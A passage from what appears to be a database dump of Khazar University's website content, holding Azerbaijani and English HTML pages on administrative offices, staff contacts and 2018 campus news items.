ilə əlaqə yaratmaq,\r\nyerli və xarici şirkətlərlə təmasda olmaq, məlumatlar əldə etmək və\r\nuniversitetin adını yüksəltmək üçün geniş fəaliyyət göstərməkdir.</p>\r\n<h3><br></h3><h3>Xəzər\r\nUniversiteti İctimai Əlaqələr və Media Qurumunun əsas vəzifələri:</h3>\r\n<p><em><strong>I.\r\nUniversitet daxilində fəaliyyət:</strong></em></p>\r\n<p><em><strong>A.&nbsp;Universitetdə\r\nolan akademik qurumlarla fəaliyyət:</strong></em></p>\r\n<p>İƏMQ –\r\nUniversitetin akademik qurumlarının təşkil etdiyi konfrans, simpozium və digər\r\nelmi kütləvi tədbirlərin təşkili və keçirilməsində köməklik göstərir.</p>\r\n<p><strong>Fəaliyyət dairəsi:</strong></p>\r\n<p>1.&nbsp;Akademik\r\ntədbirlərin keçirilməsinə yardım etmək;</p>\r\n<p>2.&nbsp;Təşkilati\r\nişlərin mahiyyətinə uygun olaraq lazımı şəxslər və qurumlarla əlaqə yaratmaq;</p>\r\n<p>3.&nbsp;Kütləvi\r\ntədbirlər haqqında məlumatları mətbuata çatdırmaq;</p>\r\n<p><em><br></em></p><p><em><strong>B.&nbsp;Tələbələr\r\nvə onların ailələri ilə əlaqələrin qurulması:</strong></em></p>\r\n<p>1.&nbsp;Tələbələr\r\nvə onların ailələri ilə bağlı ictimai anket sorğularının keçirilməsi;</p>\r\n<p>2.&nbsp;Universiteti\r\nziyarət edən valideynlərlə görüşmək və universitet ilə əlaqədar onları\r\nməlumatlandırmaq;</p>\r\n<p>3.&nbsp;Universitetdə\r\ntəhsil alan əcnəbi tələbələrlə əlaqə yaratmaq və onlara problemlərində köməklik\r\ngöstərmək;</p>\r\n<p>4.&nbsp;Tələbə\r\nklublarının (Tələbə Məclisinin) tədbirlərində yaxından iştirak etmək;</p>\r\n<p><em><br></em></p><p><em><strong>C.&nbsp;Professor-müəllim\r\nheyəti ilə baglı fəaliyyət:</strong></em></p>\r\n<p>1.Simpozium,\r\nkonfrans və digər elmi-kütləvi tədbirlərin, sərgi, konsert və digər\r\nfəaliyyətlərin mətbuatda işıqlandırılması;</p>\r\n<p><em><br></em></p><p><em><strong>D.&nbsp;Məzunlarla\r\nbaglı fəaliyyət:</strong></em></p>\r\n<p>1.Xəzər\r\nUniversitetini bitirmiş məzunları müəyyənləşdirmək və onlarla iş birliyində\r\nyardımçı olmaq;</p>\r\n<p>a.Qurum\r\ntərəfindən xüsusi blankların məzun olacaq tələbələr tərəfindən doldurulması\r\n(Məzun Məlumat Bankının–MMB-nin yaradılması )</p>\r\n<p>b.Xəzər\r\nUniversitetinin məzun olan tələbələrin yaratdıqları ictimai qurumlarla əlaqə\r\nsaxlamaq;</p>\r\n<p>c.Məzunlara\r\nUniversitet&nbsp;haqqında mütəmadi olaraq məlumatlar çatdırmaq;</p>\r\n<p><em><strong><br></strong></em></p><p><em><strong>II.Universitetdən\r\nkənar qurumlarla bağlı fəaliyyət:</strong></em></p>\r\n<p><em><br></em></p><p><em><strong>A.Yerli,\r\nRespublika və Beynəlxalq Media quruluşları ilə əlaqələr:</strong></em></p>\r\n<p>1.&nbsp;Universitet\r\nilə əlaqədar ölkə daxilində və xaricində geniş fəaliyyət göstərmək;</p>\r\n<p>2.&nbsp;Media\r\nmənsubları ilə əlaqə yaratmaq;</p>\r\n<p>3.&nbsp;Universitet&nbsp;rəhbərliyinin məsləhətinə uygun olaraq professor-müəllim heyətinin, tələbələrin\r\nRadio – Televiziya və KİV-də fəal iştiraklarına yardımçı olmaq;</p>\r\n<p>4.&nbsp;Radio-Televiziya\r\nvə KİV-də Universitet ilə əlaqədar mühüm xəbərlərin yer almasına çalışmaq;</p>\r\n<p>5.&nbsp;Universitet\r\nilə əlaqədar büllitenlərin hazırlanması;</p>\r\n<p>6.&nbsp;Mətbuatda\r\ndərc edilən yazılı məlumatların toplanması və Xəzər Universitetinin Mətbuat\r\nArxivinin (MA) yaradılması;</p>\r\n<p>7.&nbsp;Mətbuatda\r\ndərc edilən məlumatlar əsasında ildə bir dəfə “Xəzər Universiteti Mediada”\r\nkitabını&nbsp;buraxmaq;</p>\r\n<p>8.&nbsp;Universitetin\r\ntanıtımı üçün video çəkilişlərində yaxından köməklik göstərmək;</p>\r\n<p><em><br></em></p><p><em><strong>B. Orta\r\nməktəb, Lise şagirdləri və onların ailələri ilə baglı fəaliyyət:</strong></em></p>\r\n<p>1.&nbsp;Orta\r\nməktəbi, liseni bitirmiş hər bir şagird Xəzər Universitetinin əsas hədəfi\r\nolmalıdır;</p>\r\n<p>2.&nbsp;Orta\r\nməktəbi, Liseni bitirəcək şagirdlərlə, onlara və ailələrinə ən çox təsir edə\r\nbiləcək şəxslərin görüşlərini təşkil etmək;</p>\r\n<p>3.&nbsp;Orta\r\nməktəb və liselərin şagirdlərinə Universitetinin bütün fakültələri haqqında geniş\r\nməlumatların çatdırılması;</p>\r\n<p>4.&nbsp;Respublikada\r\nvə ondan kanar ölkələrdə Universitetin tanıtılmasında yaxından iştirak etmək;</p>\r\n<p>5.&nbsp;Xəzər\r\nUniversitetinin tanıtımı ilə əlaqədar broşür, CD, afişalar, video filmlər və\r\ndigər materialların hazırlanması və təbliğatı;</p>\r\n<p>6.&nbsp;Universitetə\r\ndaxil olmaq arzusunda olan orta məktəb, Lise şagirdlərini universitet ilə\r\nyaxından tanış etmək üçün “Açıq Qapı” günlərini təşkil etmək;</p>\r\n<p>7.&nbsp;Universitetə\r\nqeydiyyat zamanı tələbələrlə və onların valideynləri ilə görüşmək;</p>\r\n<p>8.&nbsp;Universitetin\r\naçılışında ( hər il sentyabr ayında ) universitetin həyətində valideynlərlə\r\nkütləvi şəkildə görüşmək və universitetin əsas məramını onlara çatdırmaq;</p>\r\n<p><em><br></em></p><p><em><strong>C.\r\nGənclər Təşkilatları və Qeyri Hökumət Təşkilatları (QHT) ilə baglı fəaliyyət:</strong></em></p>\r\n<p>1.&nbsp;Yerli\r\nvə beynəlxalq gənclər təşkilatları ilə yaxından əlaqə yaratmaq;</p>\r\n<p>2.&nbsp;Sponsorların\r\ndəstəyi ilə bayram və yubiley proqramları hazırlamaq;</p>\r\n<p>D.\r\nBələdiyyələr və digər idarəetmə orqanları ilə baglı fəaliyyət:</p>\r\n<p>1.&nbsp;Bələdiyyələrlə\r\nvə digər idarəetmə orqanları ilə əlaqə yaratmaq, Xəzər Universitetinin\r\nfəaliyyəti ilə onları məlumatlandırmaq;</p>\r\n<p>2.&nbsp;Turizm,\r\nbank, sığorta və mədəniyyət sahəsində fəaliyyət göstərən təşkilatlarla Xəzər\r\nUniversitetinin birgə tədbirlərini təşkil etmək;</p>\r\n<p><em><strong><br></strong></em></p><p><em><strong>III.&nbsp;Universitetin\r\nyayımları:</strong></em></p>\r\n<p><em><strong><br></strong></em></p><p><em><strong>A.&nbsp;İnternet;</strong></em></p>\r\n<p>1.&nbsp;<a href=\"http://www.khazar.org\">www.khazar.org</a>&nbsp;internet saytında Xəzər Universitetinin tanıtımı mövcuddur.</p>\r\n<p><em><strong><br></strong></em></p><p><em><strong>B.\r\nCD&nbsp;ROM:</strong></em></p>\r\n<p>1.&nbsp;Tələbələrə,\r\norta məktəb və lise şagirdlərinə, universitetin tədbirlərində iştirak edən\r\nqonaqlara verilir.</p>\r\n<p>C.&nbsp;Broşürlər\r\nvə digər tanıtım sənədləri:</p>\r\n<p>1.&nbsp;Universitetə\r\nqəbul olmaq arzusunda olanlara broşürlər və digər tanıtım sənədləri verilir.</p>\r\n<p><em><strong><br></strong></em></p><p><em><strong>IV.&nbsp;Araşdırma\r\nFəaliyyəti (məlumat toplanması-dəyərləndirmə-yayma):</strong></em></p>\r\n<p>Tanıtımın\r\nilk şərti “tanıtmaq”dır. Əsas olaraq “məlumat əldə etmək”, buna uyğun olaraq\r\nyazışmalar və təbliğat aparmaqdır.</p>'),(5595,3221,'az','Elanlar','',''),(5596,3221,'en','Events','',''),(5597,3219,'az','Xəbər/Elan','',''),(5598,3219,'en','News/Events','',''),(5599,3222,'az','“İnnovasiya və liderlik” mövzusunda seminar oldu','2018-ci il mayın 15-də Nyu Yorkdakı “Rocheston” MMC-nin prezidenti və İdarə...','<p>2018-ci il mayın 15-də Nyu Yorkdakı “Rocheston” MMC-nin prezidenti və İdarə Heyətinin sədri xanım Haja Mohidin Xəzər Universitetinin şəhər mərkəzindəki (Bəşir Səfəroğlu küç.122) binasında “İnnovasiya və liderlik” mövzusunda seminar verdi. Seminar biznes innovasiyası, dizayn, inqilabi ideyalar, startaplar, internetə qoşulan cihazlar, əqli mükiyyət və patent hüququ mövzularını əhatə edirdi. Seminarda İqtisadiyyat və menecment fakültəsinin tələbələri iştirak edirdilər.</p><p>Seminarın sonunda xanım Haja Mohidin və Fuat Rəsulov iştirakçılara sertifikat təqdim etdilər.</p>'),(5600,3222,'en','Seminar on “Innovation and Leadership” was held','Mr. Haja Mohideen, President & CEO, Rocheston LLC, New York has delivered...','Mr.&nbsp;Haja Mohideen, President &amp; CEO, Rocheston LLC, New York has delivered a seminar on “Innovation and Leadership” on 15<sup>th </sup>of May at 14:00, Bashir Safaroglu campus. The covered topics were Business Innovation, Design Thinking, Game Changing Ideas, Startups, Internet of Things (IoT), IPR and Patents. Economics and Management Faculty students participated in the seminar. At the end of the seminar certificates were delieved by Mr.Haja Mohideen and Fuat Resulov.'),(5602,3223,'en','Khazar University associate on a business trip to the USA','On May 2-12, 2018, Rima Mammadova, Coordinator of Center for Students...','<p>On May 2-12, 2018, Rima Mammadova, Coordinator of Center for Students with Disabilities of Khazar University, went on a business trip to the USA. The trip was organized within Open World Program for Disability Advocacy and Reform exchange program financed by USA Congress and managed by USA Embassy to Azerbaijan. The trip consisted of two parts. The first part of the trip was on May 2-3, 2018, in Washington city. John O’Keefe, former ambassador and CEO of the Board of Trustees of Open World, greeted the delegations from Azerbaijan and Kosovo and informed them about Open World Leadership Center. Then James M.Quirk, an instructor of American University, delivered a lecture on American Federalism and American political system. Later Dr Sam Potolicchio, an instructor of Georgetown University, delivered a lecture on “Training world leaders”. The first part ended with a walk in Washington city.</p><p>The second part of the trip was on May 4-10 in Reno city, Nevada state. This part was organized by International Center of Northern Nevada. In this part, Azerbaijani delegation got acquainted with conditions provided for people with disabilities in Reno and Carson cities. The delegation also got information on governmental and non-governmental organizations which protect the rights of people with disabilities and ensure their welfare. Moreover, during the trip, the delegation visited Nevada Disability Advocacy and Law Center, Nevada Center for Excellence in Disabilities, Disability Resource Center affiliated with Nevada University and other organizations. The delegation also delivered information on protection of rights of people with disabilities in Azerbaijan. Rima Mammadova informed her counterparts about Center for Students with Disabilities established at Khazar University and called them for collaboration.</p><p>The delegations as well as Mark Amodei, a member of the US Congress, met associates of the centre in Reno city. In the meeting, Rima Mammadova was awarded a certificate of US Congress. The delegation also went on a trip to Lake Tahoe.</p>'),(5604,3224,'en','Students delivered presentations on Azerbaijan Democratic Republic','On May 14, 2018, at the lesson of “History of Azerbaijan”, Sabuhi Ahmadov...','<p>On May 14, 2018, at the lesson of “History of Azerbaijan”, Sabuhi Ahmadov, PhD in History and instructor of the Department of History and Archeology, enlightened the students of the Faculty of Education about Azerbaijan Democratic Republic, its role in the history of Azerbaijan, achievements as well as mistakes of Democratic Republic. Students had prepared presentations on the most important issues with regard to Democratic Republic. The followings are the presentations delivered by the students: Fatima Abbaszade \"The issue of Azerbaijani language during the period of the Azerbaijan Democratic Republic\"; Shahla Guliyeva \"Mahammad Amin Rasulzadeh\"; Fargana Alasgarli \"Declaration of Independence and the establishment of Azerbaijan Democratic Republic\"; Nargiz Nasirova \"National and cultural development in the Azerbaijan Democratic Republic\"; Zohra Khalilova \"Fatali Khan Khoyski\"; Gumru Ibrahimli \"The collapse of Azerbaijan Democratic Republic and the April invasion\"; Ilaha Hasanzadeh \"The third cabinet of government of the Azerbaijan Democratic Republic\"; Khanim Dadashova \"Mahammad Amin Rasulzadeh\"; and Zahra Alasgarova \"Alimardan bey Topchubashov\". Each presentation was made with ppt slides. Moreover, the following abstracts had been prepared by the students: Nigar Shukurova \"Gazakh Teachers Seminary\"; Nobatkhanim Rustamova \"The Parliament of the Azerbaijan Democratic Republic\"; and Zuleykha Aslanova \"Development of the army in the Azerbaijan Democratic Republic\".</p>'),(5605,3225,'az','Mühəndislik və Tətbiqi elmlər fakültəsinin tələbələri Türkiyədə','2018-ci il mayın 4-dən 10-dək Türkiyədə Boğaziçi Universitetinin...','<p>2018-ci il mayın 4-dən 10-dək Türkiyədə Boğaziçi Universitetinin Mühəndislik Cəmiyyəti tərəfindən hər il təşkil edilən ICAMES (Mühəndislik Tələbələrinin Beynəlxalq Mədəniyyət və Akademik Görüşü) görüşünün&nbsp;23-cüsü keçirildi. Tədbirdə Türkiyə, Misir, İtaliya, Kanada, Kolumbiya, Banqladeş, İordaniya və Makedoniyadan müxtəlif komandalar iştirak edirdi. Builki tədbirdə Azərbaycanı Xəzər Universiteti Mühəndislik və Tətbiqi elmlər fakültəsi Elektronika və telekommunikasiya departamentinin müdiri Nuru Səfərovun rəhbərliyi altında həmin fakültənin 5 nəfər tələbəsi (Tərlan Həsənli, Lətif Quliyev, Hüseyn Əskərov, Beydulla Zeynalov və Əlikram Həsənli) təmsil edirdi.</p><p>ICAMES beynəlxalq mühəndislik layihəsi yarışmasıdır. Yarışmada iştirak etmək üçün yeganə şərt, mühəndislik ilə əlaqəli və bakalavr tələbələri tərəfindən hazırlanan lahiyə təqdim etməkdir. ICAMES-in builki mövzusu “Bərpa olunan enerji” haqqında lahiyə təqdim etmək idi.</p><p>Xəzər Universitetinin komandası bu yarışmaya 2-ci dəfə qatılmışdı. Bu yarışmada onlar “Piezoelektrik enerjinin alınması” mövzusunda təqdimat keçirdilər. Bu lahiyənin tətbiq üsulları və gələcəklə bağlı planlaşdırılan layihələr barədə iştirakçılara geniş məlumat verildi.</p><p>Tədbirdə, həmçinin, Azərbaycanın və Xəzər Universitetinin tanıdılması məqsədilə müxtəlif addımlar da atılmışdır. “Mədəniyyət gecəsi” adlanan hissədə Azərbaycanın müxtəlif şirniyyat və içkiləri digər iştirakçılara təqdim olunaraq, ölkə barədə iştirakçılara geniş məlumat verildi.</p>'),(1670,1038,'en','About Us','About Us',''),(1671,1039,'en','Our Staff','Our Staff','<p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><a href=\"http://www.khazar.org/files/letters/ALOVSAT_AMIRBEYLI.pdf\"><img src=\"/files/letters/alovsat_a.jpg\" style=\"float:left;width:150px;height:156px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Alovsat Amirbayli</a></strong></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Director</strong><br></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>E-mail:&nbsp;</strong><a href=\"mailto:aamirbeyli@khazar.org\">aamirbeyli[at]khazar.org</a>  </p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Phone:&nbsp;</strong>(+99412) 421 10 93 (231)  </p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><br></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><br></p><p margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;line-height:11.25pt;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><br></p><hr><strong><a href=\"http://www.khazar.org/files/pdf/Sefiyeva_Sevinc_cv.pdf\"><img src=\"/files/letters/sevinc_sh.jpg\" style=\"float:left;width:150px;height:211px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/pdf/Sefiyeva_Sevinc_cv.pdf\">Sevinj Shafiyeva</a></strong></p><p><strong>Coordinator</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:sshafiyeva@khazar.org\">sshafiyeva[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p><p><br></p>'),(4535,1044,'az','Mətbəə','Mətbəə','<p>Xəzər Universitetinin mətbəəsi 1995- ci ildən fəaliyyət göstərir. Mətbəənin əsas işi Xəzər Universitetinin və Dünya Məktəbinin rəhbərlikləri tərəfindən verilən sifarişlər əsasında jurnal və kitablar dərc etməkdir.Sifarişlər əsasında dərc olunan kitab və jurnallar aşağıdakılardan ibarətdir:</p><h3>Aylıq dərgi:</h3><p>1. Xəzər- Xəbər jurnalı</p><p>2. Dünya jurnalı</p><h3>İllik dərgi:</h3><p>1. Azərbaycan Arxeologiyası</p><p>2.&nbsp;Khazar Journal of Science and Technology</p><p>3.&nbsp;Khazar Journal of Humanities and Social Sciences (ildə 4 dəfə)</p><p>Bununla yanaşı universitetin sifarişləri ilə kserokopiya, laminasiya ,perferasiya işləri də mətbəə tərəfindən icra edilir.</p><p><br></p><h3>Əməkdaşlar</h3><p><strong><a href=\"http://www.khazar.org/files/letters/Rufat_Isayev_CV.pdf\"><img src=\"/files/letters/Isayev-Rufat.jpg\" style=\"width:150px;height:180px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Rüfət İsayev</a></strong></p><p><strong>Direktor</strong></p><p><strong>E-mail: </strong><a href=\"http://mailto:risayev@khazar.org/\"><strong>&nbsp;</strong></a><a href=\"mailto:risayev@khazar.org\">risayev[at]khazar.org</a></p><p><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (222)  </p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Azerkhan_Yunusov_CV.pdf\"><img src=\"/files/letters/azerxan.jpg\" style=\"width:150px;height:184px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Azərxan Yunusov</a></strong></p><p><strong>Texnik</strong></p><p><strong><br></strong></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Aynura_Khalilova_CV.pdf\"><img src=\"/files/letters/aynure-xelilova.jpg\" style=\"width:150px;height:180px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Aynurə Xəlilova</a></strong>&nbsp;</p><p><strong>Mütəxəssis</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/Abilova_Mehri_CV.pdf\"><img src=\"/files/letters/abilova-Mehri.jpg\" style=\"width:150px;height:203px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Mehri Əbilova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/letters/Abilova_Mehri_CV.pdf\"></a>Mütəxəssis</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/letters/isayeva_kemale_CV.pdf\"><img src=\"/files/letters/isayeva-Kemale.jpg\" style=\"width:150px;height:192px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Kəmalə İsayeva</a></strong></p><p><strong>Mütəxəssis</strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p><p><strong><br></strong></p>'),(1672,1040,'en','Art and Science Assembly','Art and Science Assembly','<p><img src=\"/files/image/elm%20ve%20ince%20senet.jpg\" style=\"border:0px  #000000;width:250px;height:352px;margin:7px;float:left\">In the spring and summer of 2006, we made up our minds to organize the Assembly of Science and Art, to open up any important question for discussion regardless of its field. We decided to listen to lectures by one or two specialists at each assembly, put them on the hot seat for questions, listen to audience comments, and then to print the lectures and discussions in the Khazar Review journal and finally as collections in book form. On October 10<sup>th</sup>, 2006, the first assembly was held in the Khazar University Conference Center. We began to invite scholars and artists from Azerbaijan and abroad to give lectures. Our Assembly of Science and Art became well-known and loved in a short time.&nbsp;</p><p><em>Prof. Hamlet Isakhanli&nbsp;</em></p>'),(1690,1047,'az','Mərkəzin fəaliyyəti','Mərkəzin fəaliyyəti','<div><br></div><div><p>2013-2014 akademik il üzrə profillər:&nbsp;</p><p>1. Fakultələr</p><p> 2. Akademik Departamentlər&nbsp;</p><p>3. Tələbə heyəti&nbsp;</p><p>4. Qrup ölçüləri&nbsp;</p><p>5. İxtisasların sayı</p><p> 6. Məzunlar (2013-2014 akademik il)&nbsp;</p><p>7. Məzunlar (2010-2014 illər üzrə)</p><p><br></p>\r\n<p>2014-2015 akademik il üzrə profillər (Payız semestri-Payız 2014):&nbsp;</p><p>1. FAKULTƏLƏR&nbsp;</p><p>2. AKADEMİK DEPARTAMENTLƏR</p><p> 3. TƏLƏBƏ HEYƏTİ</p><p> 4. İXTİSASLARIN SAYI (illər üzrə)</p><p> 5. TƏLƏBƏ QƏBULU (illər üzrə)&nbsp;</p><p>6. TƏLƏBƏ QƏBULU (fakultlər üzrə)&nbsp;</p><p>7. TƏLƏBƏ QƏBULU (ixtisaslar üzrə)</p><p> 8. QRUP ÖLÇÜLƏRİ&nbsp;</p><p>9. XARİCİ TƏLƏBƏLƏR(tələbə qəbulu-illər üzrə)&nbsp;</p><p>10. XARICI TƏLƏBƏLƏR (universitet üzrə)&nbsp;</p><p>11. İŞÇİ HEYƏT(ümumi)&nbsp;</p><p>12. İŞÇİ HEYƏT (akademik )&nbsp;</p><p>13. İŞÇİÇHEYƏT (qeyri-akademik)</p><p> 14. QIŞ İMTAHAN SESSİYASININ NƏTİCƏLƏRİ</p><p> 15. MƏZUNLAR (Payız 2014)</p><p><br></p>\r\n<p>2014-2015 akademik il üzrə profillər (Yaz semestri-Yaz 2015):&nbsp;</p><p>1. FAKULTƏLƏR 1&nbsp;</p><p>2. FAKULTƏLƏR 2</p><p> 3. AKADEMİK DEPARTAMENTLƏR&nbsp;</p><p>4. TƏLƏBƏ HEYƏTİ&nbsp;</p><p>5. QRUP ÖLÇÜLƏRİ</p><p> 6. İŞÇİ HEYƏT(ümumi)&nbsp;</p><p>7. İŞÇİ HEYƏT (akademik )&nbsp;</p><p>8. İŞÇİÇHEYƏT (qeyri-akademik)&nbsp;</p><p>9. MƏZUNLAR (Yaz 2015)&nbsp;</p><p>10. MƏZUNLAR (2014/2015 tədris ili)&nbsp;</p><p>11. YAZ IMTAHAN SESSIYASININ NƏTİCƏLƏRİ</p>  <br></div>'),(1673,1030,'en','Registration and Record Office','Registration and Record Office','<p>The\r\nRegistration and Records Office is responsible for each student\'s class\r\nregistration and is the official source of information for the academic\r\nrecord.</p><p>\r\nThe office is responsible for:</p>\r\n<ul><li>Issuance of academic transcripts</li><li>Evaluation of transfer credit</li><li>Production of Degree Audit reports</li><li>Processing of various other academic functions related to students</li></ul><p>They are also charged with finalizing and publicizing schedules\r\nand procedures related to enrollment, exams, and course listings.</p>'),(4534,1030,'az','Tələbə qeydiyyat və məlumat şöbəsi','Tələbə qeydiyyat və məlumat şöbəsi','<p>Tələbə qeydiyyat və məlumat şöbəsi bütün tələbələrin fənnə qeydiyyatına məsuliyyət daşıyır və eyni zamanda akademik göstəricilərə dair məlumatlar üçün rəsmi mənbə vəzifəsini daşıyır.</p><p>Şöbə&nbsp; aşağıda qeyd olunanlara cavabdehdir:</p><ul><li>Akademik transkriptlərin verilməsi</li><li>Köçürülən kreditlərin təhlili</li><li>Məzunluq sənədlərinin yoxlanılması və hesabatların hazırlanması</li><li>Tələbələrlə əlaqədar müxtəlif akademik işlərin icrası</li></ul><p>Tələbə qeydiyyat və məlumat şöbəsi qeydiyyata, imtahanlara və fənnlərin siyahıları ilə əlaqədar işlərə və cədvəllərin yekunlaşmasına və elan olunmasına nəzarət edir.</p>'),(1674,1041,'en','Personnel Office','Personnel Office','<p>Personnel Office is part of the University\'s central administrative support services and we are committed to providing the University with a high quality, efficient HR service which will contribute to the quality of teaching and research of the University.</p><p>Our service includes:  </p><h3>Recruit</h3><p>Recruit, and develop strategies to recruit, quality faculty and staff to support the needs of the University.<br></p><h3>Performance Management</h3>Coordinate performance appraisal schemes to encourage continuous improvement.<br><h3>Staff Relations</h3><p>Enhance communication between staff and management and promote staff relations through a variety of staff functions.</p><h3>Professional Personal Consultation Service</h3><p>Provide professional personal consultation service to help employees deal&nbsp;with work-related and personal problems.</p><h3>Personnel Data Administration</h3><p>Maintain and manage an integrated database on University manpower resources.</p>  <h3><br></h3><div><br></div><h3>Contacts:</h3><p><strong><a href=\"http://www.khazar.org/files/letters/Aybeniz_Namazova_CV(5).pdf\"><img src=\"/files/letters/DSC_0020.jpg\" style=\"width:150px;height:190px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Aybeniz Namazova</a></strong></p><p><strong>Coordinator</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:anamazova@khazar.org\">anamazova[at]khazar.org</a>  <a href=\"http://mailto:anamazova@khazar.org\"></a></p><p><a href=\"http://mailto:anamazova@khazar.org\"></a><strong>Phone:</strong>&nbsp;(+994 12) 421 10 93 (206)</p>'),(1813,1041,'az','Kadrlar şöbəsi','Kadrlar şöbəsi','<p style=\"text-align:justify\">İR departamenti Kadrlar şöbəsinin fəaliyyətində aşağıdakı sənəd və qanunvericilik aktlarını rəhbər tutur:</p><ul type=\"disc\"><li><p>Azərbaycan Respublikasının Əmək Məcəlləsi;</p></li><li><p>Azərbaycan Respublikasının müvafiq qanunları;</p></li><li><p>Xəzər Universitetinin Nizamnaməsi;</p></li><li><p>Müvafiq icra hakimiyyəti orqanları tərəfindən qəbul edilmiş normativ-hüquqi aktlar;</p></li><li><p>XU-nin yuxarı rəhbərlərinin əmrlərini, göstərişlərini və sərəncamları.</p></li></ul><p style=\"text-align:justify\"><br><br></p><p style=\"text-align:justify\"><strong>ŞÖBƏNİN FUNKSİYALARI</strong></p><p style=\"text-align:justify\">1. Əmək qanunvericiliyinə, nizamnaməyə, təlimatlara və rektorun əmrlərinə müvafiq olaraq işçilərin qəbulu, köçürulməsi və işdən azad edilmələrinin vaxtında rəsmiləşdirilməsi və həyata keçirilməsi.</p><p style=\"text-align:justify\">2. Təşkilatın şəxsi heyətin uçotu</p><p style=\"text-align:justify\">3. İşçilərin keçmiş və hazırkı əmək fəaliyyəti barəsində ərizələrin verilməsi.</p><p style=\"text-align:justify\">4. İşə qəbul olunma haqda əmrlərin və digər tələb olunan zəruri sənədlərin rəsmiləşdirilməsi.</p><p style=\"text-align:justify\">5. Əmək kitabçalarının qəbulu, doldurulması və saxlanılması.</p><p style=\"text-align:justify\">6. Əmək stajının hesablanması və kadrlar üçün müəyyən edilmiş sənədlərin aparılması.</p><p style=\"text-align:justify\">7. Məzuniyyət qrafikin tərtibatı və icrası.</p><p style=\"text-align:justify\">8. İşçilərin şəxsi işlərin hazırlanması və aparılması, əmək fəaliyyətlə bağlı dəyişikliklərin edilməsi</p><p style=\"text-align:justify\">9. Pensiya sığortasına dair müvafiq sənədlərin hazırlanması və onların sosial təminat orqanlarına təqdim edilməsi.</p><p style=\"text-align:justify\">10. Aylıq statistika blanklarını tərtib edərək Universitet üzrə kadrların hərəkətinin təhlili və ümumiləşdirilməsi üzrə işlərin yerinə yetirilməsi.</p><p style=\"text-align:justify\">11. İşçilərin əmək fəaliyyətlərinə dair arayışların və xasiyyətnamələrin verilməsi.</p><p style=\"text-align:justify\">12. Məzuniyyət cədvəlinin təşkil edilməsi, işçilərin istifadə etdiyi məzuniyyətlərin siyahıya alınması, təsdiq edilmiş cədvələ müvafiq olaraq növbəti və əlavə məzuniyyətlərin rəsmiləşdirilməsi.</p><p style=\"text-align:justify\">13. Ezamiyyətlərin rəsmiləşdirilməsi və siyahıya alınması.</p><p style=\"text-align:justify\">14. Kadrların cari vəziyyətinin analizi.</p><p style=\"text-align:justify\"><br></p><h3>Əlaqə:</h3><p><strong><a href=\"http://www.khazar.org/files/letters/Aybeniz_Namazova_CV(5).pdf\"><img src=\"http://www.khazar.org/files/letters/DSC_0020.jpg\" style=\"border:0px #0000ee;width:150px;height:190px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\">Aybəniz Namazova</a></strong></p><p><strong>Koordinator</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:anamazova@khazar.org\">anamazova[at]khazar.org</a><a href=\"http://mailto:anamazova@khazar.org/\"></a></p><p><a href=\"http://mailto:anamazova@khazar.org/\"></a><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (206)</p>  <p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p>'),(5601,3223,'az','Xəzər Universitetinin əməkdaşı ABŞ-da rəsmi səfərdə','2018-ci il mayın 2-dən 12-dək Xəzər Universitetinin layihə rəhbəri və Əlilliyi olan...','<p>2018-ci il mayın 2-dən 12-dək Xəzər Universitetinin layihə rəhbəri və Əlilliyi olan Tələbələr üçün Mərkəzin koordinatoru Rima Məmmədova ABŞ Konqresinin maliyyə dəstəyi ilə həyata keçirilən Azərbaycanda ABŞ səfirliyinin idarə etdiyi 